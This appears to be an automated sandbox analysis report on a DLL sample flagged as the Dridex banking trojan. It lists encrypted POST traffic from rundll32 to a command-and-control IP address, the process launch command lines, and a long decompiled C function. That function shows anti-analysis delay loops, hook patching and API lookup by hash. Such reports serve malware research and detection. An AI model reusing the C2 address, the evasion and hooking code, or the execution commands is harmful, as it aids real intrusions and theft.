2021-10-28 02:47:50 UTC	407	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:51 UTC	412	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	50134	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:52 UTC	412	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:52 UTC	412	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:53 UTC	417	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	50138	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:54 UTC	417	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:54 UTC	417	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:55 UTC	422	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	50142	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:56 UTC	422	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:56 UTC	422	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:57 UTC	427	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	50146	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:58 UTC	427	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:58 UTC	427	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:59 UTC	432	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	50150	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:48:00 UTC	432	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:48:00 UTC	432	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:48:01 UTC	437	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:48:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49792	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:24 UTC	44	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:24 UTC	44	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:24 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5980 Parent PID: 5968

General

Start time:	04:43:54
Start date:	28/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll'
Imagebase:	0x190000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000003.390619959.0000000000820000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 4748 Parent PID: 5980

General

Start time:	04:43:55
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 456 Parent PID: 5980

General

Start time:	04:43:56
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Bluewing
Imagebase:	0x13b0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000003.340472911.0000000000F20000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5108 Parent PID: 4748

General

Start time:	04:43:56
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll',#1
Imagebase:	0x13b0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000003.341889397.00000000033E0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000002.815931183.000000006ED31000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5684 Parent PID: 5980

General

Start time:	04:44:00
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Earth
Imagebase:	0x13b0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000006.00000003.369249349.0000000001280000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6084 Parent PID: 5980

General

Start time:	04:44:08
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.4470.dll,Masterjust
Imagebase:	0x7ff797770000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000008.00000003.387507409.0000000000E30000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5980 Parent PID: 5968 loaddll32.exeCOMMON

Executed Functions

Function 6ED351A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6ED351A7(void* __edi, signed int __esi) {
				void* _t190;
				signed int _t192;
				signed int _t198;
				signed int _t200;
				void* _t203;
				signed int _t211;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int _t239;
				intOrPtr _t240;
				intOrPtr* _t244;
				void* _t259;
				void* _t269;
				intOrPtr _t272;
				signed int _t282;
				signed int _t286;
				void* _t301;
				intOrPtr* _t302;
				signed int _t305;
				unsigned int _t309;
				intOrPtr _t312;
				signed short* _t313;
				signed int _t316;
				signed int _t333;
				signed int _t334;
				signed int _t339;
				char* _t347;
				char _t349;
				signed int _t360;
				signed int _t361;
				void* _t362;
				void* _t363;
				void* _t364;
				signed int _t368;
				signed int _t369;
				signed int _t372;
				signed int _t373;
				void* _t378;
				signed int _t379;
				intOrPtr* _t434;
				intOrPtr* _t442;
				signed int _t457;
				signed int _t459;
				signed int _t462;
				signed int _t494;
				signed int _t496;
				intOrPtr* _t502;
				signed int _t503;
				signed int _t523;
				signed int _t527;
				void* _t532;
				signed int _t533;
				void* _t540;
				void* _t541;
				void* _t542;
				void* _t543;
				intOrPtr* _t544;
				intOrPtr* _t545;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				intOrPtr* _t553;

				_t530 = __esi;
				_t526 = __edi;
				E6ED55CB0(_t553 + 0xdc, 3, 0x28, 0x64);
				_t361 = 0;
				_t540 = _t553 + 0x1e4;
				while(1) {
					E6ED55CB0(_t540, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1e4));
					Sleep(0xa);
					E6ED50B10(_t540);
					_t361 = _t361 + 1;
					if(_t361 >= 0xbebbe7c) {
						break;
					}
					while(_t361 >= 0x137b) {
						_t361 = _t361 + 1;
						if(_t361 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L5;
					}
				}
				L5:
				_t362 = 0;
				_t541 = _t553 + 0x1ec;
				while(1) {
					E6ED55CB0(_t541, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1ec));
					Sleep(0xa);
					E6ED50B10(_t541);
					_t362 = _t362 + 1;
					if(_t362 >= 0xbebbe7c) {
						break;
					}
					while(_t362 >= 0x137b) {
						_t362 = _t362 + 1;
						if(_t362 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L10;
					}
				}
				L10:
				_t363 = 0;
				_t542 = _t553 + 0x1f4;
				while(1) {
					E6ED55CB0(_t542, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1f4));
					Sleep(0xa);
					E6ED50B10(_t542);
					_t363 = _t363 + 1;
					if(_t363 >= 0xbebbe7c) {
						break;
					}
					while(_t363 >= 0x137b) {
						_t363 = _t363 + 1;
						if(_t363 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L15;
					}
				}
				L15:
				_t364 = 0;
				_t543 = _t553 + 0x1fc;
				while(1) {
					E6ED55CB0(_t543, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1fc));
					Sleep(0xa);
					E6ED50B10(_t543);
					_t364 = _t364 + 1;
					if(_t364 >= 0xbebbe7c) {
						break;
					}
					while(_t364 >= 0x137b) {
						_t364 = _t364 + 1;
						if(_t364 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L20;
					}
				}
				L20:
				E6ED50B10(_t553 + 0xd4);
				_push(0x755aa3f0);
				if(E6ED47560() != 0) {
					_t347 = E6ED415C0(0x588ab3ea, 0x1be15feb);
					if( *_t347 == 0xe9) {
						_t149 =  *((intOrPtr*)(_t347 + 1)) + 5; // 0x5
						_t378 = _t347 + _t149;
						_t494 = E6ED415C0(0x588ab3ea, 0x3b4caff7);
						__eflags = _t494;
						if(_t494 == 0) {
							L137:
							_t551 =  *0x6ed69414; // 0x3f7883
							_t349 =  *0x6ed6941a; // -16
							 *((intOrPtr*)(_t553 + 0xdc)) = _t551;
							 *((short*)(_t553 + 0xe0)) =  *0x6ed69418 & 0x0000ffff;
							 *((char*)(_t553 + 0xe2)) = _t349;
							_t530 =  *(_t553 + 0x6c);
							_t552 =  *((intOrPtr*)(_t553 + 0x78));
							while(1) {
								_push(0x3f);
								_push(7);
								_push(_t553 + 0xe4);
								_t379 = E6ED40DA0(_t530, _t552);
								__eflags = _t379;
								if(_t379 == 0) {
									goto L23;
								}
								 *(_t553 + 0xec) = _t379;
								 *((intOrPtr*)(_t553 + 0xf0)) = 0x10;
								_t552 = _t552 -  ~_t530 + _t379 + 7;
								 *((intOrPtr*)(_t553 + 0xf4)) = 0x40;
								_t160 = _t379 + 7; // 0x7
								_t530 = _t160;
								_t496 = E6ED415C0(0x588ab3ea, 0x649746ec);
								__eflags = _t496;
								if(_t496 != 0) {
									_t526 = _t553 + 0xf0;
									 *_t496(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
								 *((char*)(_t379 + 5)) = 0x90;
								 *((char*)(_t379 + 4)) = 0x90;
								_t523 = E6ED415C0(0x588ab3ea, 0x649746ec);
								__eflags = _t523;
								if(_t523 != 0) {
									_t526 = _t553 + 0xec;
									 *_t523(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
							}
							goto L23;
						} else {
							_t360 =  *_t494(0xffffffff, _t378, 0, _t553 + 0x6c, 0x1c, 0);
							__eflags = _t360;
							if(_t360 != 0) {
								goto L23;
							} else {
								goto L137;
							}
						}
						L143:
					}
				}
				L23:
				E6ED31270(_t526, _t530);
				 *((intOrPtr*)(_t553 + 0x12c)) = 0x2800;
				_push(0x2800);
				E6ED59350(_t553 + 0xfc);
				_t544 = E6ED59640(_t553 + 0xfc, 0);
				_t502 = E6ED415C0(0xd93f3271, 0xa1ee59b);
				if(_t502 != 0) {
					 *_t502(_t544, _t553 + 0x12c); // executed
				}
				if(_t544 != 0) {
					_t530 = 0x4b005452;
					do {
						if(( *((intOrPtr*)(_t544 + 0x194)) - _t530 | ( *(_t544 + 0x198) & 0x0000ffff) - 0x000031a1) == 0) {
							L6ED35150();
						}
						_t544 =  *_t544;
					} while (_t544 != 0);
				}
				E6ED59510(_t553 + 0xf8);
				E6ED48810(_t553 + 0x108, 0);
				 *0x6ed6b1c8 = _t553 + 0x108;
				_t190 = E6ED415C0(0xa1310f65, 0xe10858ef);
				if(_t190 == 0) {
					__eflags = 0;
					_t192 = E6ED415C0(0x1b47f147, 0x4c00b324);
					__eflags = _t192;
					if(_t192 == 0) {
						 *0x6ed6b1d0 = 0;
						_t545 = E6ED43930(0, 0, _t526, _t530);
						__eflags =  *_t545 - 0x10;
						if( *_t545 < 0x10) {
							L6ED35150();
						}
						E6ED36020(0);
						E6ED48810(_t553 + 0x114, 0x200);
						_t503 = E6ED415C0(0xa1310f65, 0xc4d11e8a);
						__eflags = _t503;
						if(_t503 != 0) {
							_t339 =  *(_t553 + 0x114) >> 1;
							__eflags = _t339;
							 *_t503(0,  *(_t553 + 0x114), _t339);
						}
						E6ED42580(_t553 + 0x118, _t526, _t530);
						_t198 = E6ED49C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x118)));
						__eflags = _t198;
						if(_t198 == 0) {
							E6ED42780(_t553 + 0xe4, _t526, _t530);
							_t200 = E6ED49C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0xe4)));
							__eflags = _t200;
							if(_t200 == 0) {
								E6ED42580(_t553 + 0xb4, _t526, _t530);
								_t530 = _t553 + 0x98;
								E6ED4D980(_t553 + 0xbc, _t553 + 0x98, 0x5c);
								_t203 = E6ED57600(_t553 + 0x98, 2);
								E6ED3AC00(_t553 + 0xbc, 6);
								E6ED48CC0(_t203,  *((intOrPtr*)(_t553 + 0xbc)));
								E6ED48CA0(_t553 + 0xbc);
								E6ED589F0(_t530, _t553 + 0x124, 0x5c);
								E6ED58910(_t530, _t526, _t530);
								E6ED48CA0(_t553 + 0xb4);
								_t211 = E6ED49C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x120)));
								__eflags = _t211;
								_t46 = _t211 > 0;
								__eflags = _t46;
								_t368 = 0 | _t46;
								E6ED48CA0(_t553 + 0x120);
							} else {
								_t368 = 1;
							}
							E6ED48CA0(_t553 + 0xe4);
							E6ED48CA0(_t553 + 0x118);
							__eflags = _t368;
							if(_t368 == 0) {
								_t369 = 0;
								__eflags = 0;
							} else {
								goto L46;
							}
						} else {
							E6ED48CA0(_t553 + 0x118);
							L46:
							_t369 = 1;
						}
						E6ED3AC00(_t553 + 0x120, 2);
						E6ED4D980(_t553 + 0x128, _t553 + 0x130, 0x7e);
						E6ED48CA0(_t553 + 0x120);
						__eflags =  *(_t553 + 0x130);
						if( *(_t553 + 0x130) > 0) {
							 *_t553 = _t545;
							__eflags = 0;
							_t527 = _t553 + 0x130;
							while(1) {
								L50:
								_t333 = E6ED415C0(0xa1310f65, 0xf3af54a7);
								__eflags = _t333;
								if(_t333 != 0) {
									LoadLibraryW( *(E6ED57600(_t527, _t530))); // executed
								}
								_t334 =  *(_t553 + 0x130);
								while(1) {
									L53:
									_t530 = 1;
									__eflags = 1 - _t334;
									if(1 >= _t334) {
										break;
									}
									__eflags = 1 - 4;
									if(1 != 4) {
										goto L50;
									} else {
										_t506 =  *0x6ed6b02a & 0x000000ff;
										__eflags = ( *0x6ed6b02a & 0x000000ff) - 2;
										if(( *0x6ed6b02a & 0x000000ff) == 2) {
											continue;
										} else {
											while(1) {
												L50:
												_t333 = E6ED415C0(0xa1310f65, 0xf3af54a7);
												__eflags = _t333;
												if(_t333 != 0) {
													LoadLibraryW( *(E6ED57600(_t527, _t530))); // executed
												}
												_t334 =  *(_t553 + 0x130);
												goto L53;
											}
										}
									}
									goto L58;
								}
								_t545 =  *_t553;
								goto L58;
							}
						}
						L58:
						__eflags =  *((intOrPtr*)(_t545 + 0x2c)) - 2;
						if( *((intOrPtr*)(_t545 + 0x2c)) != 2) {
							__eflags =  *0x6ed6b028 & 0x000000ff;
							if(( *0x6ed6b028 & 0x000000ff) == 0) {
								__eflags =  *0x6ed6b265 & 0x000000ff;
								if(( *0x6ed6b265 & 0x000000ff) == 0) {
									__eflags =  *0x6ed6b1cc - 1;
									if( *0x6ed6b1cc != 1) {
										_t312 =  *0x6ed6b1d0; // 0x93fa98
										_t313 =  *(_t312 + 4);
										_t506 =  *_t313 & 0x0000ffff;
										__eflags = ( *_t313 & 0x0000ffff) - 0x2d;
										if(( *_t313 & 0x0000ffff) != 0x2d) {
